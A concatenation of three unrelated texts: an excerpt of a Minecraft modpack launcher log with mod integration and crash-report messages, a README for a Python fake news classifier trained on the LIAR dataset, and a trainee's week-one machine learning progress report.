integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/quartz/ToolQuartzWrench because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/quartz/ToolQuartzWrench [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.ISpecialElectricItem from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.IElectricItemManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Method getManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/powered/powersink/IC2 [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyContainerItem from appeng/items/tools/powered/powersink/RedstoneFlux because RFItem integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/ToolNetworkTool because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/ToolNetworkTool [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/misc/PartStorageBus [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PItems [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySource from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PIC2Power [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/parts/p2p/PartP2PRFPower because RF integration is enabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Starting AE2 VersionChecker [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( ended after 4556ms ) [16/5/2015 18:50:48 PM] OpenEye: Sending pending crash report located at '**USERSDIR**\Instances\SkyFactory\reports\pending-crash-2015-05-14_21.47.10-0.json' [16/5/2015 18:50:48 PM] Checking for updated files! [16/5/2015 18:50:49 PM] OpenEye: Pending crash report sent! URL: http://openeye.openmods.info/commoncrash/oom [16/5/2015 18:50:55 PM] No updates found! [16/5/2015 19:05:04 PM] Copied Log to clipboard [16/5/2015 19:05:07 PM] Log uploaded and link copied to clipboard:
daksh26022002
Fake News Detection Fake News Detection in Python In this project, we have used various natural language processing techniques and machine learning algorithms to classify fake news articles using sci-kit libraries from python. Getting Started These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system. Prerequisites What things you need to install the software and how to install them: Python 3.6 This setup requires that your machine has python 3.6 installed on it. you can refer to this url https://www.python.org/downloads/ to download python. Once you have python downloaded and installed, you will need to setup PATH variables (if you want to run python program directly, detail instructions are below in how to run software section). To do that check this: https://www.pythoncentral.io/add-python-to-path-python-is-not-recognized-as-an-internal-or-external-command/. Setting up PATH variable is optional as you can also run program without it and more instruction are given below on this topic. Second and easier option is to download anaconda and use its anaconda prompt to run the commands. To install anaconda check this url https://www.anaconda.com/download/ You will also need to download and install below 3 packages after you install either python or anaconda from the steps above Sklearn (scikit-learn) numpy scipy if you have chosen to install python 3.6 then run below commands in command prompt/terminal to install these packages pip install -U scikit-learn pip install numpy pip install scipy if you have chosen to install anaconda then run below commands in anaconda prompt to install these packages conda install -c scikit-learn conda install -c anaconda numpy conda install -c anaconda scipy Dataset used The data source used for this project is LIAR dataset which contains 3 files with .tsv format for test, train and validation. Below is some description about the data files used for this project. LIAR: A BENCHMARK DATASET FOR FAKE NEWS DETECTION William Yang Wang, "Liar, Liar Pants on Fire": A New Benchmark Dataset for Fake News Detection, to appear in Proceedings of the 55th Annual Meeting of the Association for Computational Linguistics (ACL 2017), short paper, Vancouver, BC, Canada, July 30-August 4, ACL. the original dataset contained 13 variables/columns for train, test and validation sets as follows: Column 1: the ID of the statement ([ID].json). Column 2: the label. (Label class contains: True, Mostly-true, Half-true, Barely-true, FALSE, Pants-fire) Column 3: the statement. Column 4: the subject(s). Column 5: the speaker. Column 6: the speaker's job title. Column 7: the state info. Column 8: the party affiliation. Column 9-13: the total credit history count, including the current statement. 9: barely true counts. 10: false counts. 11: half true counts. 12: mostly true counts. 13: pants on fire counts. Column 14: the context (venue / location of the speech or statement). To make things simple we have chosen only 2 variables from this original dataset for this classification. The other variables can be added later to add some more complexity and enhance the features. Below are the columns used to create 3 datasets that have been in used in this project Column 1: Statement (News headline or text). Column 2: Label (Label class contains: True, False) You will see that newly created dataset has only 2 classes as compared to 6 from original classes. Below is method used for reducing the number of classes. Original -- New True -- True Mostly-true -- True Half-true -- True Barely-true -- False False -- False Pants-fire -- False The dataset used for this project were in csv format named train.csv, test.csv and valid.csv and can be found in repo. The original datasets are in "liar" folder in tsv format. File descriptions DataPrep.py This file contains all the pre processing functions needed to process all input documents and texts. First we read the train, test and validation data files then performed some pre processing like tokenizing, stemming etc. There are some exploratory data analysis is performed like response variable distribution and data quality checks like null or missing values etc. FeatureSelection.py In this file we have performed feature extraction and selection methods from sci-kit learn python libraries. For feature selection, we have used methods like simple bag-of-words and n-grams and then term frequency like tf-tdf weighting. we have also used word2vec and POS tagging to extract the features, though POS
Week1 Report Here is a quick summary of what I have achieved to learn in my first week of training under ParrotAi. Introduction to Machine learning , I have achieved to know a good intro into Machine Learning which include the history of ML ,the types of ML such supervised, unsupervised, Reinforcement learning. And also answers to questions such why machine learning? , challenges facing machine learning which include insufficient data, irrelevant on data, overfitting, underfitting and there solutions in general. Supervised Machine algorithms, here I learnt the theory and intuition behind the common used supervised ML including the KNN, Linear Regressions, Logistic, Regression, and Ensemble algorithm the Random forest. Also not only the intuition but their implementation in python using the sklearn library and parameter tuning them to achieve a best model with stunning accuracy(here meaning the way to regularize the model to avoid overfitting and underfitting).And also the intuition on where to use/apply the algorithms basing on the problem I.e classification or regression. Also which model performs better on what and poor on what based on circumstances. Data preprocessing and representation here I learnt on the importance of preprocessing the data, also the techniques involved such scaling(include Standard Scaling, RobustScaling and MinMaxScaler) ,handling the missing data either by ignoring(technical termed as dropping) the data which is not recommended since one could loose important patterns on the data and by fitting the mean or median of the data points on the missing places. On data representation involved on how we can represent categorical features so as they can be used in the algorithm, the method learnt here is One-Hot Encoding technique and its implementation in python using both Pandas and Sklearn Libraries. Model evaluation and improvement. In this section I grasped the concept of how you can evaluate your model if its performing good or bad and the ways you could improve it. As the train_test_split technique seems to be imbalance hence the cross-validation technique which included the K-fold , Stratified K-fold and other strategies such LeaveOneOut which will help on the improvement of your model by splitting data in a convenience manner to help in training of model, thus making it generalize well on unseen data. I learnt also on the GridSearch technique which included the best method in which one can choose the best parameters for the model to improve the performance such as the simple grid search and the GridSearch with cross-validation technique, all this I was able to implement them in code using the Sklearn library in python. Lastly the week challenge task given to us was tremendous since I got to apply what I learned in theory to solve a real problem.It was good to apply the workflow of a machine learning task starting from understanding the problem, getting to know the data, data preprocessing , visualising the data to get more insights, model selection, training the model to applying the model to make prediction In general I was able to grasp and learn much in this week from basic foundation of Machine Learning to the implementations of the algorithms in code. The great achievement so far is the intuition behind the algorithm especially supervised ones. Though yet is much to be covered but the accomplishment I have attained so far its a good start to say to this journey on Machine learning. My expectation on the coming week is on having a solid foundation on deep learning.